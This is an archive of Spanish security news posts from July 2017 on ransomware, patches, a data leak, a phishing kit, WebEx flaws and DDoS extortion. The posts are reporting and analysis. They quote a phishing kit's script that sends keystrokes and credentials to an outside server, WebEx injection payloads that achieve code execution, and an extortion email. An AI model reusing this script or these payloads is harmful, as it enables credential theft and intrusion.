miércoles, 26 de julio de 2017

Publicado el código fuente para Android de SLocker, el ransomware de las mil caras


SLocker es un ransomware para Android que cifra los archivos y bloquea la pantalla. Se caracteriza por haberse hecho pasar por distintas fuerzas de seguridad de los estados, e incluso por el mismísimo WannaCry, para cobrar el rescate.

Una versión de SLocker la que se disfraza de WannaCry


Como si de una herramienta open source cualquiera se tratase, hace unos días se publicó en GitHub el código fuente de SLocker. El responsable, un usuario bajo el pseudónimo fs0c1ety, Tal y como avisa en la descripción, no es el código fuente original, sino el obtenido tras decompilar una muestra con técnicas de ingeniería inversa. Parece ser que este usuario le está cogiendo el gustillo a eso de decompilar malware para Android y publicar el código fuente, como muestra otro nuevo repositorio en su misma cuenta, esta vez decompilando GhostCtrl, otro peligroso malware para Android que, según la versión, recopila datos personales del terminal, secuestra funcionalidades del teléfono, o todo a la vez.

En vez de centrarnos en el ransomware en sí, sobre el que ya hay información en la red de sobra, vamos a centrarnos en la publicación de su código fuente. El que publica especifica que el código fuente debe ser usado únicamente con propósitos de investigación en seguridad informática. Pero las palabras son sólo palabras, y el patrón es conocido de sobra: se publica el código fuente de un malware y en los días sucesivos florece una gran variedad de versiones de este, compiladas usando como base el código fuente publicado. La verdad, no podemos saber a ciencia cierta la intención de este usuario de GitHub que pide ayuda en una issue (ticket) para compilar el malware.




El código fuente público de malware atrae principalmente a delincuentes con perfil bajo, y no se espera un gran impacto a pesar de la liberación. Los delincuentes más experimentados suelen preferir programar ellos mismos el malware o comprarlo hecho a terceros con soporte y garantía de no ser demasiado público (y por tanto demasiado investigado y detectado). Al no ser atacantes muy sofisticados, los medios de propagación del malware tampoco lo serán, y seguramente se limitarán a intentar colar troyanos usando ingeniería social (haciendo pasar el malware por una herramienta para rootear el móvil o hacer trampas en un videojuego).

¿Cómo evitar ser infectado? El principal punto débil sigue siendo el usuario. Una vez tienes todo software del terminal actualizado, el resto es sentido común. No instales aplicaciones sospechosas (ni siquiera si vienen de Google Play), ya sabes que el malware se disfraza. ¿De verdad necesitas esa aplicación para hacer trampas en un videojuego? Te puede costar un mal rato...


Más información:

SLocker decompiled code leaked online for free, a gift for crooks and hackers
http://securityaffairs.co/wordpress/61323/malware/slocker-source-code.html

Cómo saber si estamos infectados por el troyano GhostCtrl y cómo protegernos de él
https://www.softzone.es/2017/07/17/ghostctrl-nuevo-troyano-android/

Ransomware Recap: Ransomware as a Service Surge, SLocker Resurfaces
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-ransomware-as-a-service-surge-slocker-resurfaces

Carlos Ledesma

martes, 25 de julio de 2017

Apple parchea Broadpwn entre otras vulnerabilidades en sus últimos boletines

Apple ha publicado 7 boletines de seguridad que solucionan vulnerabilidades en otros tantos de sus productos: iOS, macOS, watchOS, tvOS, Safari, iTunes e iCloud para Windows. En total se corrigen 208 fallos de seguridad entre ellos el célebre “BroadPwn”.

BroadPwn” es el nombre con el que se ha bautizado una vulnerabilidad crítica en chipsets Wi-Fi de Broadcom que podría comprometer remotamente y sin interacción del usuario a los dispositivos afectados. Concretamente, el fallo de seguridad se encuentra en chips de la familia BCM43xx, los cuales son ampliamente utilizados en la industria. Así nos encontramos con que millones de dispositivos Android de diversos fabricantes (HTC, LG, Nexus y Samsung entre otras) y de Apple (en este caso iOS, macOS, watchOS y tvOS) se encuentran afectados.

Por su parte, Google solventó esta vulnerabilidad, con identificador CVE-2017-9417, en su boletín mensual del 5 de julio, mientras que Apple ha presentado la solución en sus boletines del 19 de este mes.

La vulnerabilidad “BroadPwn” ha sido descubierta por Nitay Artenstein de Exodus Intelligence, quien la presentará en los próximos días en la Black Hat USA 2017, donde explicará cómo encontró el error y mostrará una prueba de cómo aprovecharlo para lograr la ejecución de código.

Volviendo a los boletines de Apple, dada la gran cantidad de productos actualizados, vamos a realizar un breve repaso de las actualizaciones publicadas y problemas solucionados:

El sistema operativo para dispositivos móviles de Apple (iPad, iPhone, iPod…), iOS 10.3.3, resuelve 47 vulnerabilidades. Los problemas corregidos están relacionados con múltiples componentes, entre los que se incluyen CoreAudio, Contacts, Messages, Notifications, Telephony, el kernel y WebKit, entre otros. 33 de las vulnerabilidades podrían permitir la ejecución de código.

También se ha publicado la versión 10.12.6 de OS X Sierra y el Security Update 2017-003 para El Capitan y Yosemite. En este caso se solucionan 37 nuevas vulnerabilidades que afectan a múltiples y muy diversos componentes, que entre otros incluyen a Audio, Wi-Fi, Bluetooth, controladores gráficos, y el kernel. La ejecución de código podría ser el impacto potencial provocado por 25 de estos errores de seguridad.

Las actualizaciones también incluye a Safari, el navegador web de Apple, que se actualiza a la versión Safari 10.1.2 para OS X Yosemite 10.10.5, OS X El Capitan 10.11.6, y macOS Sierra 10.12.6. Se solucionan 25 vulnerabilidades debidas a problemas en WebKit, el motor de navegador de código abierto que es la base de Safari. 19 de estas vulnerabilidades son de alta gravedad y podrían permitir la ejecución de código.

De forma similar, Apple publica watchOS 3.2.2, destinada a su reloj inteligente o “smartwatch” Apple Watch. con la que se solucionan hasta 16 vulnerabilidades, la mayoría de ellas (12) podrían permitir la ejecución remota de código arbitrario.

Apple también ha publicado tvOS 10.2.2, para sus televisores, que corrige 38 vulnerabilidades en múltiples componentes, de las cuales 31 son graves.

También se ha publicado iTunes 12.6.2 para Windows 7 y posteriores, una versión menor que incluye la corrección de 23 vulnerabilidades.

Por último, Apple ha publicado la actualización 6.2.2 de iCould para Windows 7 y posteriores 22 problemas de seguridad.


Más información:
iOS 10.3.3
https://support.apple.com/es-es/HT207923

macOS Sierra 10.12.6, Actualización de seguridad 2017-003 El Capitan y
Actualización de seguridad 2017-003 Yosemite
https://support.apple.com/es-es/HT207922

Safari 10.1.2
https://support.apple.com/es-es/HT207921

watchOS 3.2.3
https://support.apple.com/es-es/HT207925

tvOS 10.2.2
https://support.apple.com/es-es/HT207924

iTunes 12.6.2 para Windows
https://support.apple.com/es-es/HT207928

iCloud para Windows 6.2.2
https://support.apple.com/es-es/HT204283


Juan Jose Ruiz

lunes, 24 de julio de 2017

Millones de datos de personal militar, testigos protegidos y material militar filtrados por el gobierno sueco.

El gobierno sueco ha expuesto datos sensibles de millones de ciudadanos. Sin embargo, las consecuencias no han ido más lejos de, al cambio, 8,500$

¿Cómo comenzó todo? 

En 2015, la Agencia de Transportes sueca (STA, de ahora en adelante) llegó a un acuerdo de mantenimiento de equipos informáticos para gestionar sus bases de datos y redes con IBM Suecia.

La STA subió su base de datos completa a servidores en la nube de IBM, la cual contenía detalles sobre todos los vehículos del país incluyendo aquellos correspondientes a la policía, registros militares e incluso testigos protegidos.



Y fue esa misma base de datos es la que la agencia de transportes envió a vendedores suscritos, y además en texto plano, sin cifrar. Al descubrirse el error, la agencia de transportes simplemente envió un nuevo e-mail, pidiendo a las personas suscritas que eliminarán la base de datos completa que ellos mismos habían mandado anteriormente.

Pero el escándalo no acaba aquí. La subcontratación llevada a cabo con IBM permitía el acceso desde fuera de Suecia a los sistemas de la STA sin pasar por medidas de seguridad necesarias. Los administradores de IBM en la República Checa tenían acceso a todos los datos y registros, mientras que otra empresa en Serbia administraba las comunicaciones.

Según Rick Falkvinge, fundador de la VPN Private Internet Access, quien hizo público el escándalo, los datos incluidos en esta filtración incluyen:
  • Capacidad de todas las carreteras y puentes.
  • Nombres, fotos y direcciones de pilotos de combate de las fuerzas aéreas..
  • Nombres, fotos y direcciones de todos los incluidos en el registro policial, los cuales se creían datos clasificados.
  • Nombres, fotos y direcciones de todos los operadores de las unidades de élite del país, el equivalente a los Navy SEAL. 
  • Nombres, fotos, y direcciones de todos los testigos protegidos.
  • Tipo, módelo, tamaño, e incluso defectos en todos los vehículos militares, incluyendo sus operadores.
A pesar de que la brecha se produjo en 2015, no fue descubierta hasta 2016 y acabó con la renuncia de Maria Agren, directora general de la STA, en enero de 2017, además de una multa de 8,500$.

Lo más preocupante: La base de datos no será segura hasta este otoño, según palabras del nuevo director general Jonas Bjelfvenstam.

Más información:
https://www.bleepingcomputer.com/news/security/biggest-data-leak-in-swedens-history-punished-with-half-a-months-paycheck/

Fernando Díaz
fdiaz@hispasec.com

domingo, 23 de julio de 2017

La facilidad de los atacantes a día de hoy: Ataques de phishing a golpe de click

No es novedad que a diario se venden miles de herramientas de hacking usadas con fines maliciosos. Estas herramientas, por regla general, requieren de un mínimo de conocimiento por parte del ciberdelincuente, pero a día de hoy esto está cambiando, y es que ya existen plataformas para realizar múltiples tipos de ataques sin saber siquiera el nombre del mismo.

Hoy vamos a exponer un caso de uso de unas de las múltiples plataformas que se pueden encontrar por Internet. El nombre de la web no va a ser publicado para no fomentar el uso de la misma entre los lectores.

Llama la atención al entrar en la web, la interfaz amigable y por qué no decirlo, infantil que tiene. Parece una página sin ninguna malicia, sin embargo contiene numerosos tipos de ataques los cuáles están gravemente penados por la ley en nuestro país.

Al registrarte, lo primero que aparece es un mensaje de bienvenida el cuál nos indica que tienen un pequeño tutorial para nosotros.

Bienvenida a la plataforma

Al avanzar, nos encontramos un “about” de la web. Nos explica que la página nos da acceso a una serie de “complejas herramientas” y que en pocos pasos vamos a aprender a usar una de ellas de manera gratuita.

Realmente las herramientas a las que te dan acceso son muy simples y apenas requieren de conocimientos para hacer el ataque de forma manual.

Por supuesto, no era de dudar que cuenta con una versión PREMIUM para sacar más provecho a la herramienta.

Avanzamos a través de los paneles y podemos comprobar cómo el primer ataque que nos enseña es la realización de un phishing a Facebook.

Cómo hackear una cuenta de Facebook!

Aunque nuestros lectores están habituados a escuchar la palabra phishing, vamos a recordar que es un  ataque de phishing aquel que mediante ingeniería social, se centra en adquirir cierta información confidencial de la víctima. Para ello, el cibercriminal se hace pasar por una persona o entidad (en este caso por la red social Facebook) para solicitarle esa información.

Un par de clicks y nos genera un enlace con una burda versión de la página de Facebook para que se la enviaemos a nuestra víctima.

Al ver la web cualquier persona con unos conocimientos mínimos no caería ni por el enlace, el cuál es muy llamativo, ni por la imagen que da, la cuál es bastante pobre. Pero, sin embargo, alguien sin conocimientos sí que podría pensar que es una página legítima.

Enlaces generados para el ataque de phishing
Página de Facebook generada para el ataque

Pero algo todavía mucho más llamativo, es que al escribir la contraseña ni siquiera oculte los caracteres como haría un campo de tipo contraseña.


Detalles de la contraseña en texto claro

Si comprobamos el código fuente de la web generada para el ataque, vemos que apenas son 127 líneas. Dentro de ellas, podemos encontrar un hotlinking a los iconos de Facebook en una página externa a Facebook:

http://www.questionpro.com/qp_userimages/sub-2/1419981/Facebook.png?userFileID=259491
http://www.portugalrx.com/wp-content/uploads/2016/02/facebook_logo.png

También podemos ver el script que nos redirecciona a Facebook una vez “iniciamos sesión en la página”:

 <script type="text/javascript">  
   var BigData = {  
     id: '3015',  
     token: 'i0n8QDoNAk8VHo8Pg3MKNcwtXE0LWT2zUAYBdL9qAOlTkZpB6s',  
     name: 'Facebook',  
     site_id: '9',  
     redirect: 'http://www.facebook.com/login',  
     hsData: "9|3015|i0n8QDoNAk8VHo8Pg3MKNcwtXE0LWT2zUAYBdL9qAOlTkZpB6s|1500371221",  
   };  
   var socket = io('https://pod-1.logshit.com');  
   socket.on('ping', function (data) {  
     socket.emit('hello', BigData );  
   });  
   socket.on('redirect', function(data){  
     window.location = BigData.redirect;  
   });  
   $(document).ready(function(){  
     $('body').click(function(e){  
       this.BigData = BigData;  
       socket.emit('clicked', this.BigData);  
     });  
     $('body').on('keyup', function(e){  
       this.BigData = BigData;  
       this.BigData.key = e.key;  
       socket.emit('keyup', this.BigData);  
     });  
   });  
   $("#login_form").keypress(function(e) {  
     if (e.which == 13) {  
       $("#submit").click();  
     }  
   });  
   $("#submit").click(function(e) {  
     e.preventDefault();  
     if ($("#username").val() == "") {  
       var err = "1";  
       alert('Username cannot be left empty');  
     }  
     if ($("#password").val() == "") {  
       var err = "1";  
       alert('Password cannot be left empty');  
     }  
     if (err != "1") {  
       socket.emit('log', {  
         username : $("#username").val(),  
         password : $("#password").val(),  
         hsData: BigData.hsData,  
         BigData: BigData,  
       });  
     }  
   });  
 </script>  

Es un ataque de phishing muy básico pero que cualquier persona podría realizar sin ningún tipo de complicación ni conocimientos.

Al terminar de preparar el ataque, te recomiendan otras dos guías. La primera de ellas es para realizar un phishing a un correo electrónico y la segunda para ver los logs de las personas que han picado en el ataque.

Guías que ofrece el servicio

Si nos dirigimos al apartado de nuestra web creada, veremos cómo aparecen las estadísticas de las visitas recibidas:

Estadísticas de las visitas recibidas

Indagando un poco más en la página, podemos ver cómo ofrecen este servicio para realizar este tipo de ataque a 26 webs diferentes.

Servicios contra los que se puede crear un phishing a golpe de click

También cuentan con un market en el que puedes comprar o vender servicios. Los métodos de pago aceptados son muy variados, desde Bitcoin hasta Paypal pasando por Western Union y MoneyGram.

Servicios de pago aceptados

Si además pagamos por la cuenta PREMIUM antes mencionada, cabe destacar que tenemos acceso a más servicios, los cuáles parecen ser igual de mediocres que el anterior pero que con una víctima inexperta y un poco de ingeniería social, podrían ser realmente dañinos.

Servicios premium ofrecidos por la plataforma

Con esta una-al-día queríamos demostrar a nuestros lectores que hoy en día realizar acciones maliciosas en Internet no es complicado ni requiere de conocimientos Informáticos, pero en España puede llegar a incurrir en penas de 6 meses a 3 años de prisión. 

Para finalizar, recalcar que esta es una de las muchas plataformas de creación de phishing gratuitas que hay por Internet. Algunas más simples, otras más complejas, pero todas pueden ser usadas para realizar acciones maliciosas altamente penadas.


Daniel Púa

sábado, 22 de julio de 2017

Ejecución remota de código en el SDK Source de Valve

El investigador privado Justin Taft (@JustTaft), perteneciente a la firma One Up Security, ha demostrado recientemente que el motor de juegos Source de la empresa Valve se veía afectado por una ejecución remota de código que ha sido finalmente solucionada.

Source es el motor oficial de videojuegos utilizado por Valve para sus diferentes títulos, como Counter Strike:GO, Teamfortress 2, Half-Life 2: Deathmatch, etc... y también usado por terceros de manera gratuita, para el desarrollo de mods propios.

La vulnerabilidad se debe a una falta de comprobación de límites en la función 'nexttoken', al no controlar correctamente que el buffer 'token' pueda desbordarse. Este desbordamiento (buffer overflow) podría ser aprovechado como se puede ver en el video publicado, para ejecutar código arbitrario, ya que la función afectada es llamada por un una clase (CRagdollCollisionRulesParse) encargado de cargar datos externos de modelos Ragdoll cuando se realizan determinados eventos, por ejemplo cuando un jugador es eliminado.

Video demostrativo de la vulnerabilidad:

video



Desde Valve se han publicado las actualizaciones oportunas tanto del SDK como del cliente Steam, aunque también existes contramedidas y/o parches disponibles para los mods ya publicados, facilitadas por el investigador:

Parche disponible:
https://oneupsecuritycdn-8266.kxcdn.com/static/blog/hl2-rce/nexttoken.patch


Más información:

Remote Code Execution In Source Games
https://oneupsecurity.com/research/remote-code-execution-in-source-games

Update Released for Counter-Strike: Source, Day of Defeat: Source, Half-Life Deathmatch: Source, Half-Life 2: Deathmatch, and the Source SDK 2013 Base
http://store.steampowered.com/news/30120/


José Mesa

viernes, 21 de julio de 2017

Devil’s Ivy: Una vulnerabilidad que afecta a millones de dispositivos IoT

Sale a la luz una nueva vulnerabilidad (denominada Devil’s Ivy) que infecta a millones de dispositivos. Este fallo permite ejecutar código remoto en gran parte de los dispositivos IoT: cámaras, lectores de tarjeta, etc.

Los encargados de este descubrimiento son los investigadores de seguridad de la empresa Senrio. Según afirman estos trabajadores, encontraron el fallo analizando el firmware de una cámara Axis M3004.

La vulnerabilidad consiste en un buffer overflow, que los trabajadores de Senrio consiguieron explotar para ejecutar código remoto en la cámara arriba mencionada, tal y como podemos apreciar en el siguiente vídeo.

Demostración de Devil’s Ivy en Axis M3004 por Senrio Labs:

Devil's Ivy Exploit in Axis Security Camera from Senrio Labs on Vimeo.

Después de contactar con los distribuidores de estas cámaras (Axis Communications), la empresa les confirmó que la vulnerabilidad afectaba a unos 249 modelos diferentes de cámaras fabricadas por ellos.

La vulnerabilidad, con CVE-2017-9765 se encuentra en la librería de código abierto gSOAP (Simple Object Access Protocol).

gSOAP es un conjunto de herramientas de servicio web ampliamente usado y desarrollado por Genivia. Muchos programadores lo utilizan como parte de su software para permitir a los dispositivos comunicarse con Internet. Según Genivia, la librería ha sido descargada de su página web más de un millón de veces.


Más información:
Devil's Ivy: The Technical Details
http://blog.senr.io/devilsivy.html

Descarga del último firmware de Axis
https://www.axis.com/global/es/support/firmware

Actualización de gSOAP
https://www.genivia.com/downloads.html

Daniel Púa
dpua@hispasec.com
@arrowcode_


jueves, 20 de julio de 2017

Disponible herramienta para descifrar Petya/GoldenEye, el ransomware de la calavera

Hagamos memoria: Petya (GoldenEye siendo una de sus variantes) es un crypto-ransomware conocido desde marzo de 2016. Recordamos que un crypto-ransomware cifra archivos del usuario y pide un rescate por descifrarlos. 

La temible pantalla que anuncia el secuestro


Técnicamente, Petya se caracteriza porque su principal forma de secuestro es cifrar la MFT (índice de archivos en disco), en vez de cifrar los archivos uno a uno como habitualmente (algunas versiones de Petya también tienen esta opción). Curiosamente, más que ser conocido por la versión del autor original, es más famoso por EternalPetya, una versión pirateada (sí, se piratea malware) que afectó principalmente a Ucrania. Tuvo bastante más tirón mediático porque se sospecha que fue un ataque con motivación política.

La noticia es que para las versiones originales de Petya, el autor ha publicado su clave privada, lo que permite descifrar los archivos de las víctimas. @hsherezade, una investigadora independiente en seguridad de la información, ha publicado una herramienta que usa la clave publicada para descifrar los archivos. La herramienta está en versión beta, y como siempre se recomienda antes de intentar el descifrado, lo ideal es hacer una copia de seguridad del original cifrado por si el proceso de descifrado falla e inutiliza definitivamente nuestros archivos.

Las versiones descifrables son las siguientes:
  • Red Petya
  • Green Petya (ambas versiones)
  • GoldenEye Petya
Todas las versiones se reconocen fácilmente porque el nombre hace referencia al color del aviso que notifica la infección (rojo, verde o dorado/amarillo). Este blog detalla con capturas de pantalla cada una de las versiones comentadas, así como algunas versiones no oficiales (que no son descifrables por esta herramienta).

El enlace a la herramienta que descifra las versiones originales de Petya:

https://github.com/hasherezade/petya_key

La herramienta está publicada en código fuente, por lo que es necesario compilarla antes de usarla.



Más información:

The key to old Petya versions has been published by the malware author

Petya, un nuevo ransomware que impide el acceso al disco duro
http://unaaldia.hispasec.com/2016/03/petya-un-nuevo-ransomware-que-impide-el.html

Petya es el nuevo ransomware que causa estragos en todo el mundo


Carlos Ledesma

miércoles, 19 de julio de 2017

Los ciberdelincuentes encuentran en los ataques DDoS nuevas formas de extorsión

Durante el mes de julio se está detectando una nueva campaña de email que tienen como objetivo la extorsión a empresas mediante la amenaza de que sus equipos sufrirán un ataque en los próximos días, a no ser que reciban una cantidad de dinero en Bitcoin en la cuenta que indican los atacantes.


Los primeros ataques detectados compartían una cuenta de Bitcoin en todos los emails que enviaban, por lo que hacía pensar que, aún haciendo el pago, los atacantes no podían trazar la empresa que había procedido con el, y por consiguiente no se llevaría a cabo ningún ataque. De este ataque ya se hizo eco INCIBE a través de su web.


Pero estos nuevos intentos de extorsión que hemos detectado vienen acompañados de un ataque de DDoS previo al email y fijan una hora límite para recibir el pago, en caso contrario, procederán a llevar a cabo el ataque.


Adjuntamos correo tipo.

 De: Kadyrovtsy <Kadyrovite@protonmail.com>  
 Asunto: Ataque DDoS  
 REENVIE ESTE CORREO A QUIEN SEA IMPORTANTE EN SU EMPRESA Y TENGA PODER DE DECISION!   
   
 Somos Kadyrovtsy  
 http://lmgtfy.com/?q=Kadyrovtsy+andorra+telecom  
   
 En este mismo instante estamos iniciando un ataque de denegación de servicio en una de sus direcciones IP(XXX.XXX.XXX.XXX) Este ataque durara 10 minutos y es para que vea que somos serios.  
   
 Todos sus servidores van a ser atacados empezando este viernes {fecha}. GMT !!! Lanzaremos un nuevo ataque de denegación de servicio con una potencia de 300 Gbps, dejandole su sitio web totalmente inaccesible.  
   
 Puede detener este ataque pagando 0.5 bitcoin en la siguiente dirección bitcoin: {btc}  
   
 Si no sabe como comprar bitcoins busque en Google o adquiéralos en la empresa española Bit2me. El pago ha de recibirse antes de la fecha arriba indicada o el ataque comenzará.  
   
 Bitcoin es anónimo, nadie se enterara que su empresa ha pagado.  

Aún no sabemos si los atacantes cumplen con su amenaza en caso de no haber efectuado el pago. No obstante, el hecho de que se estén utilizando distintas cuentas de Bitcoins y de llevar a cabo un ataque con anterioridad nos induce a pensar que podrían perpetrar dicho ataque.

Quedamos a la espera de conocer más detalles y os animamos a compartir información que tengáis sobre esta forma de extorsión.

Fernando Ramírez
framirez@hispasec.com

martes, 18 de julio de 2017

Graves vulnerabilidades en la extensión de navegadores de Cisco WebEx

Cisco WebEx es un servicio de videoconferencias que cuenta con varias aplicaciones para poder interaccionar con él. Desde la aplicación de escritorio, aplicaciones móviles, web y extensiones de navegador.

Son precisamente estas últimas donde se encuentran las vulnerabilidades reportadas por Cris Neckar de Divergent Security y Tavis Ormandy de Google. Lo errores pueden llegar a producir una ejecución remota de código.


- La primera de ellas se encuentra al leer el JSON. WebEx utiliza dentro de la librería "atgpcext" un parser de JSON propio para procesar los mensajes desde el cliente.

El siguiente código muestra cómo se podría crear 2 atributos con el mismo nombre.

 var c = e.GpcExtName;  
 if (c && (c = c.trim(),  
 "atgpcext" != c.toLowerCase() && "atgpcext" != atob(c).toLowerCase().trim()))  
   return !1;  
 var d = e.GpcUnpackName;  
 if (d && (d = d.trim(),  
 "atgpcdec" != d.toLowerCase() && "atgpcdec" != atob(d).toLowerCase().trim()))  
   return !1;  
 var f = e.GpcInitCall;  
 if (f && !a.verifyScriptCall(atob(f.trim())))  

Para ello bastaría con utilizar un diccionario con el siguiente contenido:
 object={ "foo": 1, "foo\0": 2 }  
Lo cual provocaría que se crearan 2 atributos con el nombre "foo", uno con el valor 1, que sería visible por el navegador Chrome y otro con el valor 2, que sería visible por la librería "atgpcext".

- La segunda vulnerabilidad se encuentra en una expresión regular incompleta en "GpcScript". Para la interacción de WebEx con los componentes nativos del sistema se utiliza JavaScript. El siguiente código se corresponde con la función que verifica que la entrada sea correcta:

 a.verifyScriptCall = function(a) {  
   var b = /^(WebEx_|A[sT][ADEPSN]|conDll|RA[AM])|^(Ex|In)it|^(FinishC|Is[NS]|JoinM|[NM][BCS][JRUC]|Set|Name|Noti|Trans|Update)|^(td|SCSP)$/;  
   if (10240 < a.length)  
     return !1;  
   a = a.split(";");  
   for (var c = 0; c < a.length; c++) {  
     var d = a[c].trim()  
      , f = ""  
      , g = d.indexOf("=");  
     0 <= g && (d = d.substring(g + 1).trim());  
     g = d.indexOf("(");  
     0 <= g && (f = d.substring(g + 1),  
     d = d.substring(0, g).trim());  
     g = f.split(",");  
     if (1024 < f.length || 20 < g.length || 0 < d.length && !d.match(b))  
       return !1  
   }  
   return !0  
 }  

Si un atacante malicioso introdujese la entrada _wsystem(Calc)=WebEx_Exploit;, el sistema la aceptaría y funcionaría:

Esto permitiría a un atacante remoto llamar y ejecutar cualquier función exportada de cualquier librería del sistema, lo cual se traduce en una ejecución de código remoto arbitrario.

- La tercera vulnerabilidad residen en la llamada de funciones que se encuentra en lista blanca, con parámetros bajo el control del usuario.

Cualquier función que se encuentre en la lista blanca de funciones a exportar por WebEx acepta parámetros. Por ejemplo "atmccli!WebEx_AutoLaunch", la cual está permitida, pero el parámetro o parámetros son objetos controlados por el usuario. La rutina hará una llamada virtual que puede resultar en una ejecución de código arbitrario. Con el siguiente JSON se podría ejecutar código arbitrario de la dirección ObjectAddress:

 {  
   ObjectAddress: "1094795585",  
   GpcInitCall: "WebEx_AutoLaunch(ObjectAddress, ObjectAddress, ObjectAddress);"  
 }  

- La última vulnerabilidad se reside en que cualquier atacante puede actualizar a una versión anterior del plugin configurando los parámetros "GpcExtVersion" y "GpcUrlRoot". En este caso se comprueba la firma del binario, pero el atacante podría volver a una versión en la que el plugin sea vulnerable a otros ataques.


Los productos vulnerables son:
- Plugin para Google Chrome, versiones anteriores a 1.0.12
- Extensión para Mozilla Firefox, versiones anteriores a 1.0.12

Cisco recomienda actualizar los plugin de navegador y las aplicaciones de escritorio.

Más información:

Cisco Security Advisory - Cisco WebEx Browser Extension Remote Code Execution Vulnerability
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170717-webex

Cisco: WebEx Various GPC Sanitization bypasses permit Arbitrary Remote Command Execution
https://bugs.chromium.org/p/project-zero/issues/detail?id=1324


Antonio Sánchez

lunes, 17 de julio de 2017

Analizando REYPTSON: Ransomware dirigido a hispanohablantes




Esto es lo que nos encontramos una vez nuestros archivos quedan cifrados.

Nos topamos con un ransomware con temática Española, el mensaje de rescate se encuentra únicamente en este idioma, por lo que podemos concluir que el foco de esta amenaza esta dirigido a usuarios de habla hispana.


Ejecución del proceso


REYPTSON ejecuta un archivo con extensión .pdf dentro de la carpeta de %APPDATA% de Spotify. Enumera los discos instalados y cambia el archivo .pdf a SpotifyWebHelper.exe para hacerse pasar por una aplicación legítima, y se añade al registro de Windows con un script vbs para asegurarse su ejecución, cuyo nombre de tarea será "Spotify Web Helper v1.0". Descarga un archivo comprimido de http://www.melvinmusicals. com/facefiles/factura.pdf.rar llamado por el método enviador() que veremos más adelante.

El ransomware cuenta con una comprobación de la ruta de instalación de Firefox, y del cliente de correo de la misma marca, Thunderbird. ¿Para qué lo hace? Primero intenta obtener las credenciales del usuario que ya se encuentra guardado en el sistema, y luego se autopropaga por e-mail haciendo uso de estas credenciales. 
Comprobación de ruta de instalación de Thunderbird.

El correo que nos llegaría, con asunto Folcan S.L. Facturación, tendría el siguiente aspecto:


E-mail enviado a los usuarios robados de Thunderbird.

El alcance de este método de propagación, está por ver, pero es interesante verlo incluido dentro del ransomware. Como podemos ver a continuación, también recolecta los contactos almacenados en Thunderbird, a los que posteriormente les es enviado el correo anterior. 


Recolección de usuarios de Thunderbird.

Tenemos también el método AES_Encrypt, para el cifrado de archivos y modifica su extensión a ".REYPTSON":

Método de cifrado de archivos, llamado con outputFile + '.REYPTSON'

Se envía al usuario un enlace, con el identificador de su usuario accesible únicamente a través de la red TOR. 


Petición GET al servidor remoto con los datos de usuario
Finalmente, tenemos la nota de rescate, cuyo texto podemos ver a continuación:



Nota de acceso a los datos robados, que podemos ver al inicio del post 


De momento, la muestra es detectada por 34 motores antivirus. Ante este tipo de amenazas donde los antivirus pueden no llegan a tiempo, la pauta a seguir es comprobar que el correo electrónico está realmente emitido por la entidad, y en caso de tener adjuntos evitar abrirlos en su totalidad. Si fuese necesario, llamar a la entidad para comprobar que el correo realmente esté emitido por ellos o tenga alguna relación.


Detecciones en VirusTotal

Fernando Díaz 
fdiaz@hispasec.com

domingo, 16 de julio de 2017

Publicada la píldora formativa Thoth 47:"¿Qué es la esteganografía?"

Se ha publicado en el canal YouTube de la UPM la píldora formativa 47 del proyecto Thoth que lleva por título "¿Qué es la esteganografía?".


Mientras la ciencia de la criptografía tiene como objetivo hacer una comunicación ininteligible, la ciencia de la esteganografía tiene como objetivo ocultar la propia existencia de una comunicación o información. Si un atacante no sabe que una comunicación o información existe, entonces no la podrá atacar. La creación de comunicaciones encubiertas utilizando esteganografía, es tan antigua como el mismo uso de la criptografía. En la historia hay multitud de usos en entornos militares, servicios secretos y diplomacia.




Recuerda que todos los vídeos del proyecto Thoth cuentan con un archivo srt original de subtítulos incluido en YouTube, muy importante para personas con limitaciones auditivas, así como un archivo podcast mp3 que puede descargarse desde el sitio web del proyecto, válido en este caso tanto para personas con limitaciones visuales como para quienes deseen realizar solamente la audición de estas lecciones.

Se puede acceder a la documentación en pdf, el podcast en mp3 y también al vídeo de esta nueva píldora y de las 46 píldoras anteriores, desde la página web del Proyecto Thoth, que te permite, además, una búsqueda mediante los siguientes cinco filtros:
1) Fundamentos de seguridad
2) Criptografía clásica
3) Historia de la criptografía
4) Matemáticas en criptografía
5) Criptografía moderna.

La próxima entrega del proyecto Thoth será en septiembre de 2017, con la píldora número 48, de título ¿Cómo se oculta información con esteganografía? con guión del Dr. Alfonso Muñoz Muñoz.


Dr. Jorge Ramió. Dr. Alfonso Muñoz
Directores Proyecto Thoth

sábado, 15 de julio de 2017

Microsoft soluciona 54 vulnerabilidades

Microsoft ha publicado las habituales actualizaciones mensuales para sus productos. Esta vez se han solucionado un total de 54 vulnerabilidades, 19 de importancia crítica. Además se incluye la corrección de otras tres vulnerabilidades en Adobe Flash Player.

En esta ocasión la consulta a la Security Update Guide nos ofrece un listado de más de 200 entradas, con la totalidad de los parches publicados para cada uno de los diferentes productos afectados. Como siempre comentamos, la mejor forma de tratar de analizar las vulnerabilidades corregidas pasa por descargarse toda la información en un archivo Excel y analizarla, desglosándola desde la hoja de cálculo.

De esta forma, se puede establecer que se han corregido 54 vulnerabilidades que incluyen dos actualizaciones para Microsoft SharePoint Enterprise Server 2013 Service Pack 1 y Microsoft SharePoint Enterprise Server 2016, junto con las tres correspondientes al boletín APSB17-21 de Adobe. Según la propia clasificación de Microsoft 19 de los problemas son críticos, 32 importantes y 3 moderadas.

La lista de productos afectados es:
  • Internet Explorer
  • Microsoft Edge
  • Microsoft Windows
  • Microsoft Office, Microsoft Office Services y Web Apps
  • ASP .NET
  • .NET Framework
  • Microsoft Exchange Server
  • Adobe Flash Player

Los fallos de seguridad críticos podrían permitir la ejecución de código remoto y afectan a los sistemas operativos Windows 7, 8.1, 10, Windows Server 2008, 2012 y 2016, y a los navegadores Internet Explorer y Edge. Los identificadores asignados a estos problemas son los CVE-2017-8463, CVE-2017-8584, CVE-2017-8589, del CVE-2017-8594 al CVE-2017-8596, CVE-2017-8598, CVE-2017-8601, del CVE-2017-8603 al CVE-2017-8610, y del CVE-2017-8617 al CVE-2017-8619.

Otras actualizaciones se desglosan en:
  • Actualizaciones acumulativas para Internet Microsoft Explorer y Edge que evitan 4 y 6 vulnerabilidades respectivamente. Cinco de ellas son consideradas críticas.
  • Actualización acumulativa para Microsoft Office, que soluciona 5 vulnerabilidades importantes.
  • Actualización para solucionar una vulnerabilidad en .NET Framework
